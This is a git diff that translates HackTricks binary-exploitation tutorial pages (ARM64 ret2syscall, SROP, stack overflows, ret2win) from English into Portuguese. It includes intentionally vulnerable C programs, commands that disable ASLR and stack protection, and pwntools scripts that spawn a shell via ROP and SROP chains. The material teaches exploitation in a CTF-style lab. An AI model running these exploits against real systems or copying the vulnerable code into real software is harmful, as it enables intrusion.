-    read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
+char buffer[64];
+read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
 }
 
 int main() {
-    vulnerable_function();
-    return 0;
+vulnerable_function();
+return 0;
 }
 ```
-
-Compile without pie and canary:
-
+Compile sem pie e canário:
 ```bash
 clang -o ret2win ret2win.c -fno-stack-protector
 ```
-
 ## Gadgets
 
-In order to prepare the call for the **syscall** it's needed the following configuration:
+Para preparar a chamada para o **syscall**, é necessária a seguinte configuração:
 
-- `x8: 221 Specify sys_execve`
-- `x0: ptr to "/bin/sh" specify file to execute`
-- `x1: 0 specify no arguments passed`
-- `x2: 0 specify no environment variables passed`
-
-Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
+- `x8: 221 Especificar sys_execve`
+- `x0: ptr para "/bin/sh" especificar arquivo a ser executado`
+- `x1: 0 especificar nenhum argumento passado`
+- `x2: 0 especificar nenhuma variável de ambiente passada`
 
+Usando ROPgadget.py, consegui localizar os seguintes gadgets na biblioteca libc da máquina:
 ```armasm
 ;Load x0, x1 and x3 from stack and x5 and call x5
 0x0000000000114c30:
-    ldp x3, x0, [sp, #8] ;
-    ldp x1, x4, [sp, #0x18] ;
-    ldr x5, [sp, #0x58] ;
-    ldr x2, [sp, #0xe0] ;
-    blr x5
+ldp x3, x0, [sp, #8] ;
+ldp x1, x4, [sp, #0x18] ;
+ldr x5, [sp, #0x58] ;
+ldr x2, [sp, #0xe0] ;
+blr x5
 
 ;Move execve syscall (0xdd) to x8 and call it
 0x00000000000bb97c :
-    nop ;
-    nop ;
-    mov x8, #0xdd ;
-    svc #0
+nop ;
+nop ;
+mov x8, #0xdd ;
+svc #0
 ```
-
-With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.
+Com os gadgets anteriores, podemos controlar todos os registradores necessários a partir da pilha e usar x5 para pular para o segundo gadget para chamar a syscall.
 
 > [!TIP]
-> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example.
+> Note que saber essa informação da biblioteca libc também permite realizar um ataque ret2libc, mas vamos usá-la para este exemplo atual.
 
 ### Exploit
-
 ```python
 from pwn import *
 
@@ -124,5 +117,4 @@ p.sendline(payload)
 
 p.interactive()
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
index 20e07f3f2..08ec13923 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
@@ -1,26 +1,25 @@
-# SROP - Sigreturn-Oriented Programming
+# SROP - Programação Orientada a Retorno com Sigreturn
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals.
+**`Sigreturn`** é uma **syscall** especial que é usada principalmente para limpar após a execução de um manipulador de sinal. Sinais são interrupções enviadas a um programa pelo sistema operacional, frequentemente para indicar que uma situação excepcional ocorreu. Quando um programa recebe um sinal, ele pausa temporariamente seu trabalho atual para lidar com o sinal usando um **manipulador de sinal**, uma função especial projetada para lidar com sinais.
 
-After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler.
+Após o manipulador de sinal terminar, o programa precisa **retomar seu estado anterior** como se nada tivesse acontecido. É aqui que **`sigreturn`** entra em cena. Ele ajuda o programa a **retornar do manipulador de sinal** e restaura o estado do programa limpando o quadro de pilha (a seção da memória que armazena chamadas de função e variáveis locais) que foi usado pelo manipulador de sinal.
 
-The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack.
+A parte interessante é como **`sigreturn`** restaura o estado do programa: ele faz isso armazenando **todos os valores dos registradores da CPU na pilha.** Quando o sinal não está mais bloqueado, **`sigreturn` remove esses valores da pilha**, efetivamente redefinindo os registradores da CPU para seu estado antes que o sinal fosse tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.
 
 > [!CAUTION]
-> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`.
+> Chamar a syscall **`sigreturn`** de uma cadeia ROP e **adicionar os valores dos registradores** que gostaríamos que fossem carregados na **pilha** torna possível **controlar** todos os valores dos registradores e, portanto, **chamar** por exemplo a syscall `execve` com `/bin/sh`.
 
-Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls:
+Note como isso seria um **tipo de Ret2syscall** que torna muito mais fácil controlar os parâmetros para chamar outras Ret2syscalls:
 
 {{#ref}}
 ../rop-syscall-execv/
 {{#endref}}
 
-If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
-
+Se você está curioso, esta é a **estrutura sigcontext** armazenada na pilha para recuperar os valores posteriormente (diagrama de [**aqui**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
 ```
 +--------------------+--------------------+
 | rt_sigeturn()      | uc_flags           |
@@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l
 | __reserved         | sigmask            |
 +--------------------+--------------------+
 ```
-
-For a better explanation check also:
+Para uma melhor explicação, confira também:
 
 {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
 
-## Example
-
-You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there:
+## Exemplo
 
+Você pode [**encontrar um exemplo aqui**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) onde a chamada para signeturn é construída via ROP (colocando em rxa o valor `0xf`), embora este seja o exploit final a partir daí:
 ```python
 from pwn import *
 
@@ -91,9 +88,7 @@ payload += bytes(frame)
 p.sendline(payload)
 p.interactive()
 ```
-
-Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
-
+Verifique também o [**exploit daqui**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) onde o binário já estava chamando `sigreturn` e, portanto, não é necessário construir isso com um **ROP**:
 ```python
 from pwn import *
 
@@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload
 # Drop to an interactive shell
 target.interactive()
 ```
-
-## Other Examples & References
+## Outros Exemplos & Referências
 
 - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
 - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
 - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
-  - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary.
+- Binário em Assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** e ler a flag que está dentro da memória do binário.
 - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
-  - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`).
+- Binário em Assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** (o binário tem a string `/bin/sh`).
 - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
-  - 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell.
+- 64 bits, sem relro, sem canário, nx, sem pie. Simples buffer overflow abusando da função `gets` com falta de gadgets que realiza um [**ret2syscall**](../rop-syscall-execv/). A cadeia ROP escreve `/bin/sh` na `.bss` chamando `gets` novamente, abusa da função **`alarm`** para definir eax como `0xf` para chamar um **SROP** e executar um shell.
 - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
-  - 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it.
+- Programa em Assembly de 64 bits, sem relro, sem canário, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores e chamar uma syscall e então chama `exit`. A syscall selecionada é um `sigreturn` que irá definir registradores e mover `eip` para chamar uma instrução de syscall anterior e executar `memprotect` para definir o espaço binário como `rwx` e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamará `read` novamente para o ESP, mas neste caso o ESP estará apontando para a próxima instrução, então passando um shellcode, ele será escrito como a próxima instrução e executado.
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
-  - SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed.
+- SROP é usado para dar privilégios de execução (memprotect) ao local onde um shellcode foi colocado.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
index ad3191732..e6ca4171c 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
@@ -2,10 +2,9 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Pwntools example
-
-This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**:
+## Exemplo de Pwntools
 
+Este exemplo cria o binário vulnerável e o explora. O binário **lê na pilha** e então chama **`sigreturn`**:
 ```python
 from pwn import *
 
@@ -33,55 +32,49 @@ p = process(binary.path)
 p.send(bytes(frame))
 p.interactive()
 ```
+## exemplo de bof
 
-## bof example
-
-### Code
-
+### Código
 ```c
 #include 
 #include 
 #include 
 
 void do_stuff(int do_arg){
-    if (do_arg == 1)
-        __asm__("mov x8, 0x8b; svc 0;");
-    return;
+if (do_arg == 1)
+__asm__("mov x8, 0x8b; svc 0;");
+return;
 }
 
 
 char* vulnerable_function() {
-    char buffer[64];
-    read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
+char buffer[64];
+read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
 
-    return buffer;
+return buffer;
 }
 
 char* gen_stack() {
-    char use_stack[0x2000];
-    strcpy(use_stack, "Hello, world!");
-    char* b = vulnerable_function();
-    return use_stack;
+char use_stack[0x2000];
+strcpy(use_stack, "Hello, world!");
+char* b = vulnerable_function();
+return use_stack;
 }
 
 int main(int argc, char **argv) {
-    char* b = gen_stack();
-    do_stuff(2);
-    return 0;
+char* b = gen_stack();
+do_stuff(2);
+return 0;
 }
 ```
-
-Compile it with:
-
+Compile-o com:
 ```bash
 clang -o srop srop.c -fno-stack-protector
 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR
 ```
-
 ## Exploit
 
-The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`.
-
+O exploit abusa do bof para retornar à chamada para **`sigreturn`** e preparar a pilha para chamar **`execve`** com um ponteiro para `/bin/sh`.
 ```python
 from pwn import *
 
@@ -110,44 +103,40 @@ payload += bytes(frame)
 p.sendline(payload)
 p.interactive()
 ```
+## exemplo de bof sem sigreturn
 
-## bof example without sigreturn
-
-### Code
-
+### Código
 ```c
 #include 
 #include 
 #include 
 
 char* vulnerable_function() {
-    char buffer[64];
-    read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
+char buffer[64];
+read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
 
-    return buffer;
+return buffer;
 }
 
 char* gen_stack() {
-    char use_stack[0x2000];
-    strcpy(use_stack, "Hello, world!");
-    char* b = vulnerable_function();
-    return use_stack;
+char use_stack[0x2000];
+strcpy(use_stack, "Hello, world!");
+char* b = vulnerable_function();
+return use_stack;
 }
 
 int main(int argc, char **argv) {
-    char* b = gen_stack();
-    return 0;
+char* b = gen_stack();
+return 0;
 }
 ```
-
 ## Exploit
 
-In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
+Na seção **`vdso`** é possível encontrar uma chamada para **`sigreturn`** no offset **`0x7b0`**:
 
 

 
-Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it:
-
+Portanto, se vazar, é possível **usar este endereço para acessar um `sigreturn`** se o binário não estiver carregando-o:
 ```python
 from pwn import *
 
@@ -176,14 +165,13 @@ payload += bytes(frame)
 p.sendline(payload)
 p.interactive()
 ```
-
-For more info about vdso check:
+Para mais informações sobre vdso, verifique:
 
 {{#ref}}
 ../ret2vdso.md
 {{#endref}}
 
-And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info:
+E para contornar o endereço de `/bin/sh`, você pode criar várias variáveis de ambiente apontando para ele, para mais informações:
 
 {{#ref}}
 ../../common-binary-protections-and-bypasses/aslr/
diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md
index 6de6060f2..7d5d3ffe7 100644
--- a/src/binary-exploitation/stack-overflow/README.md
+++ b/src/binary-exploitation/stack-overflow/README.md
@@ -2,37 +2,34 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## What is a Stack Overflow
+## O que é um Stack Overflow
 
-A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
+Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escreve mais dados na pilha do que foi alocado para armazená-los. Esses dados em excesso **sobrescreverão o espaço de memória adjacente**, levando à corrupção de dados válidos, interrupção do fluxo de controle e potencialmente à execução de código malicioso. Esse problema geralmente surge devido ao uso de funções inseguras que não realizam verificação de limites na entrada.
 
-The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
+O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro de base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
 
-The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.
+A vulnerabilidade geralmente surge porque uma função **copia na pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha.
 
-Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
-
-For example, the following functions could be vulnerable:
+Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read` & `memcpy`** que aceitam um **argumento de comprimento**, podem ser usadas de maneira vulnerável se o comprimento especificado for maior do que o alocado.
 
+Por exemplo, as seguintes funções poderiam ser vulneráveis:
 ```c
 void vulnerable() {
-    char buffer[128];
-    printf("Enter some text: ");
-    gets(buffer); // This is where the vulnerability lies
-    printf("You entered: %s\n", buffer);
+char buffer[128];
+printf("Enter some text: ");
+gets(buffer); // This is where the vulnerability lies
+printf("You entered: %s\n", buffer);
 }
 ```
+### Encontrando os offsets de Stack Overflows
 
-### Finding Stack Overflows offsets
+A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (por exemplo, `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que o **endereço `0x41414141` foi tentado acessar**.
 
-The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**.
+Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada possível subsequência de comprimento \_n**\_\*\* aparece exatamente uma vez\*\* como uma subsequência contígua.
 
-Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence.
-
-This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
-
-It's possible to use **pwntools** for this:
+Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e então encontrar o offset dos bytes que acabaram sobrescrevendo-o.
 
+É possível usar **pwntools** para isso:
 ```python
 from pwn import *
 
@@ -44,26 +41,23 @@ eip_value = p32(0x6161616c)
 offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
 print(f"The offset is: {offset}")
 ```
-
-or **GEF**:
-
+ou **GEF**:
 ```bash
 #Patterns
 pattern create 200 #Generate length 200 pattern
 pattern search "avaaawaa" #Search for the offset of that substring
 pattern search $rsp #Search the offset given the content of $rsp
 ```
+## Explorando Stack Overflows
 
-## Exploiting Stack Overflows
+Durante um overflow (supondo que o tamanho do overflow seja grande o suficiente) você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\
+A maneira mais comum de abusar desse tipo de vulnerabilidade é **modificando o endereço de retorno** para que, quando a função terminar, o **fluxo de controle seja redirecionado para onde o usuário especificou** neste ponteiro.
 
-During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
-The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
-
-However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
+No entanto, em outros cenários, apenas **sobrescrever alguns valores de variáveis na pilha** pode ser suficiente para a exploração (como em desafios CTF fáceis).
 
 ### Ret2win
 
-In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called:
+Neste tipo de desafios CTF, há uma **função** **dentro** do binário que **nunca é chamada** e que **você precisa chamar para vencer**. Para esses desafios, você só precisa encontrar o **offset para sobrescrever o endereço de retorno** e **encontrar o endereço da função** a ser chamada (geralmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/) estaria desativado) para que, quando a função vulnerável retornar, a função oculta seja chamada:
 
 {{#ref}}
 ret2win/
@@ -71,15 +65,15 @@ ret2win/
 
 ### Stack Shellcode
 
-In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
+Neste cenário, o atacante poderia colocar um shellcode na pilha e abusar do EIP/RIP controlado para pular para o shellcode e executar código arbitrário:
 
 {{#ref}}
 stack-shellcode/
 {{#endref}}
 
-### ROP & Ret2... techniques
+### Técnicas ROP & Ret2...
 
-This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
+Esta técnica é a estrutura fundamental para contornar a principal proteção da técnica anterior: **Pilha não executável (NX)**. E permite realizar várias outras técnicas (ret2lib, ret2syscall...) que acabarão executando comandos arbitrários ao abusar de instruções existentes no binário:
 
 {{#ref}}
 ../rop-return-oriented-programing/
@@ -87,15 +81,15 @@ This technique is the fundamental framework to bypass the main protection to the
 
 ## Heap Overflows
 
-An overflow is not always going to be in the stack, it could also be in the **heap** for example:
+Um overflow nem sempre ocorrerá na pilha, ele também pode ocorrer no **heap**, por exemplo:
 
 {{#ref}}
 ../libc-heap/heap-overflow.md
 {{#endref}}
 
-## Types of protections
+## Tipos de proteções
 
-There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
+Existem várias proteções tentando prevenir a exploração de vulnerabilidades, confira-as em:
 
 {{#ref}}
 ../common-binary-protections-and-bypasses/
diff --git a/src/binary-exploitation/stack-overflow/pointer-redirecting.md b/src/binary-exploitation/stack-overflow/pointer-redirecting.md
index f92bebd28..cd7156266 100644
--- a/src/binary-exploitation/stack-overflow/pointer-redirecting.md
+++ b/src/binary-exploitation/stack-overflow/pointer-redirecting.md
@@ -1,28 +1,28 @@
-# Pointer Redirecting
+# Redirecionamento de Ponteiros
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## String pointers
+## Ponteiros de String
 
-If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary.
+Se uma chamada de função for usar um endereço de uma string que está localizada na pilha, é possível abusar do buffer overflow para **sobrescrever este endereço** e colocar um **endereço de uma string diferente** dentro do binário.
 
-If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary.
+Se, por exemplo, uma chamada de função **`system`** for **usar o endereço de uma string para executar um comando**, um atacante poderia colocar o **endereço de uma string diferente na pilha**, **`export PATH=.:$PATH`** e criar no diretório atual um **script com o nome da primeira letra da nova string**, pois isso será executado pelo binário.
 
-You can find an **example** of this in:
+Você pode encontrar um **exemplo** disso em:
 
 - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
 - [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
-  - 32bit, change address to flags string in the stack so it's printed by `puts`
+- 32bit, mudar o endereço para a string de flags na pilha para que seja impressa por `puts`
 
-## Function pointers
+## Ponteiros de Função
 
-Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**).
+Mesma coisa que ponteiro de string, mas aplicando a funções, se a **pilha contém o endereço de uma função** que será chamada, é possível **mudá-lo** (por exemplo, para chamar **`system`**).
 
-You can find an example in:
+Você pode encontrar um exemplo em:
 
 - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
 
-## References
+## Referências
 
 - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
 
diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md
index 0cad69c6d..902009cf3 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/README.md
@@ -2,49 +2,44 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples:
+**Ret2win** desafios são uma categoria popular em competições de **Capture The Flag (CTF)**, particularmente em tarefas que envolvem **binary exploitation**. O objetivo é explorar uma vulnerabilidade em um binário dado para executar uma função específica, não invocada, dentro do binário, frequentemente nomeada algo como `win`, `flag`, etc. Esta função, quando executada, geralmente imprime uma flag ou uma mensagem de sucesso. O desafio normalmente envolve sobrescrever o **endereço de retorno** na pilha para desviar o fluxo de execução para a função desejada. Aqui está uma explicação mais detalhada com exemplos:
 
-### C Example
-
-Consider a simple C program with a vulnerability and a `win` function that we intend to call:
+### Exemplo em C
 
+Considere um programa simples em C com uma vulnerabilidade e uma função `win` que pretendemos chamar:
 ```c
 #include 
 #include 
 
 void win() {
-    printf("Congratulations! You've called the win function.\n");
+printf("Congratulations! You've called the win function.\n");
 }
 
 void vulnerable_function() {
-    char buf[64];
-    gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
+char buf[64];
+gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
 }
 
 int main() {
-    vulnerable_function();
-    return 0;
+vulnerable_function();
+return 0;
 }
 ```
-
-To compile this program without stack protections and with **ASLR** disabled, you can use the following command:
-
+Para compilar este programa sem proteções de pilha e com **ASLR** desativado, você pode usar o seguinte comando:
 ```sh
 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
+- `-m32`: Compile o programa como um binário de 32 bits (isso é opcional, mas comum em desafios CTF).
+- `-fno-stack-protector`: Desativar proteções contra estouros de pilha.
+- `-z execstack`: Permitir a execução de código na pilha.
+- `-no-pie`: Desativar Executável Independente de Posição para garantir que o endereço da função `win` não mude.
+- `-o vulnerable`: Nomear o arquivo de saída como `vulnerable`.
 
-- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges).
-- `-fno-stack-protector`: Disable protections against stack overflows.
-- `-z execstack`: Allow execution of code on the stack.
-- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change.
-- `-o vulnerable`: Name the output file `vulnerable`.
-
-### Python Exploit using Pwntools
-
-For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function.
+### Exploit em Python usando Pwntools
 
+Para o exploit, usaremos **pwntools**, um poderoso framework CTF para escrever exploits. O script do exploit criará um payload para transbordar o buffer e sobrescrever o endereço de retorno com o endereço da função `win`.
 ```python
 from pwn import *
 
@@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr
 p.sendline(payload)
 p.interactive()
 ```
-
-To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use:
-
+Para encontrar o endereço da função `win`, você pode usar **gdb**, **objdump** ou qualquer outra ferramenta que permita inspecionar arquivos binários. Por exemplo, com `objdump`, você poderia usar:
 ```sh
 objdump -d vulnerable | grep win
 ```
+Este comando mostrará a montagem da função `win`, incluindo seu endereço inicial. 
 
-This command will show you the assembly of the `win` function, including its starting address. 
+O script Python envia uma mensagem cuidadosamente elaborada que, quando processada pela `vulnerable_function`, transborda o buffer e sobrescreve o endereço de retorno na pilha com o endereço de `win`. Quando `vulnerable_function` retorna, em vez de retornar para `main` ou sair, ele salta para `win`, e a mensagem é impressa.
 
-The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed.
+## Proteções
 
-## Protections
